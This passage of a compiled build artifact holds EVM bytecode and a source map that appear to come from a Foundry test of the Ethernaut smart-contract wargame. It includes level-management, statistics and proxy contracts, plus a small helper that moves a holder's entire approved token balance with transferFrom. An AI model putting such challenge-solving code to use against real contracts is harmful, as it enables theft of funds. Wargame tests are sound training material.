736f6c63430008180033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220c28238316333b765c00df2ab8bbd53ec72606d6415912417c5f301e18389d3fa64736f6c63430008180033608060405234801561000f575f80fd5b5061024b8061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c80633c48664c1461002d575b5f80fd5b61004061003b3660046101a7565b610042565b005b6040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff82811660048301528391908216906323b872dd908490309084906370a0823190602401602060405180830381865afa1580156100bb573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906100df91906101d8565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b16815273ffffffffffffffffffffffffffffffffffffffff938416600482015292909116602483015260448201526064016020604051808303815f875af1158015610155573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061017991906101ef565b50505050565b803573ffffffffffffffffffffffffffffffffffffffff811681146101a2575f80fd5b919050565b5f80604083850312156101b8575f80fd5b6101c18361017f565b91506101cf6020840161017f565b90509250929050565b5f602082840312156101e8575f80fd5b5051919050565b5f602082840312156101ff575f80fd5b8151801515811461020e575f80fd5b939250505056fea26469706673582212203951def7dc6c1c1f79e0986718b57ac895cefc1cd969e3cf3f2ea20edbeba87f64736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122087317afd9cc68e2bbd8aaf2b6ae7d106074dd481a12cdc66ee73437436fb80e264736f6c63430008180033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;415:1700:140;420:32:154;259:12:155;415:1700:140;420:32:154;410:43;382:71;;415:1700:140;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001c4d565b620007ff565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001c90565b620001b3620001fa36600462001d7c565b62000a2b565b6200020a62000bf6565b604051620001c7919062001e4f565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001f12565b620001da6200025736600462001fdf565b62000ef8565b6200019a62001088565b62000271620012ea565b604051620001c7919062001ff7565b620001b3620002913660046200205d565b620013bf565b62000237620014de565b620002b8620002b23660046200207b565b620015d8565b6040519015158152602001620001c7565b6200027162001768565b6200019a6200183d565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620018d6565b620001da620019aa565b6200019a6200032f36600462001fdf565b62001a0a565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f81518110620003675762000367620020b7565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b5050505080600181518110620004495762000449620020b7565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b